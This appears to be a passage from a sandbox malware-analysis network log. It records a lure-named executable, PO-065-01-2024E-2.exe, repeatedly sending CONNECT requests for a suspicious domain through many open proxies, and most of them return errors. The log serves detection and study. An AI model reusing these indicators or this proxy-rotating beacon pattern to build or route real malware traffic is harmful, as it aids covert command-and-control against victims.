Mar 11, 2024 16:39:51.619083881 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.773724079 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:51 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1420	192.168.2.10	54435	104.25.234.81	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.619102001 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.773485899 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:51 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1421	192.168.2.10	54485	104.25.108.120	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.620476961 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.774759054 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:51 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1422	192.168.2.10	53725	159.223.71.71	60377	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.624906063 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:54.707814932 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:57.708167076 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:03.707927942 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:15.707556009 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:27.707530022 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:39.707520962 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:41:03.848175049 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:41:51.966661930 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1423	192.168.2.10	53712	47.74.152.29	8888	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.624985933 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1424	192.168.2.10	54496	185.238.228.96	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.625279903 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.779442072 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:51 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1425	192.168.2.10	54376	82.113.157.122	31280	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.625545979 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.286055088 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:53.177032948 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:54.973683119 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:58.489311934 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:01.973567009 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:05.473958969 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:12.488883972 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:26.285670042 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1426	192.168.2.10	50231	128.199.221.91	49865	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.626437902 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:54.676672935 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:57.676920891 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:03.786072016 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:15.785695076 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:27.785680056 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:39.785650015 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:41:03.785826921 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:41:51.910603046 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1427	192.168.2.10	54477	35.190.107.16	30000	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.630398035 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1428	192.168.2.10	54392	46.17.63.166	4154	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.636662006 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.934330940 CET	339	IN	HTTP/1.1 403 Forbidden Server: squid/4.7 Mime-Version: 1.0 Date: Mon, 11 Mar 2024 15:39:51 GMT Content-Type: text/html;charset=utf-8 Content-Length: 5 X-Squid-Error: TCP_RESET 0 Vary: Accept-Language Content-Language: en X-Cache: MISS from proxy.wakoopa.com Via: 1.1 proxy.wakoopa.com (squid/4.7) Connection: keep-alive Data Raw: 72 65 73 65 74 Data Ascii: reset

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1429	192.168.2.10	54368	34.92.12.210	9238	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.641108990 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.196187019 CET	28	IN	HTTP/1.1 502 Bad Gateway

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1430	192.168.2.10	54473	162.214.121.173	35183	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.641396999 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.285725117 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.989372015 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1431	192.168.2.10	54464	162.241.50.179	48156	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.655225992 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.285912991 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1432	192.168.2.10	54385	203.218.172.225	8080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.655555010 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1433	192.168.2.10	54524	104.22.14.48	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.656584978 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.811939001 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:51 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1434	192.168.2.10	54525	104.19.217.219	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.658045053 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.812417984 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:51 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1435	192.168.2.10	54387	139.224.64.191	8081	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.665163040 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.010377884 CET	767	IN	HTTP/1.1 403 Forbidden Server: Beaver Cache-Control: no-cache Content-Type: text/html Content-Length: 635 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 39 30 38 33 31 34 30 38 36 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 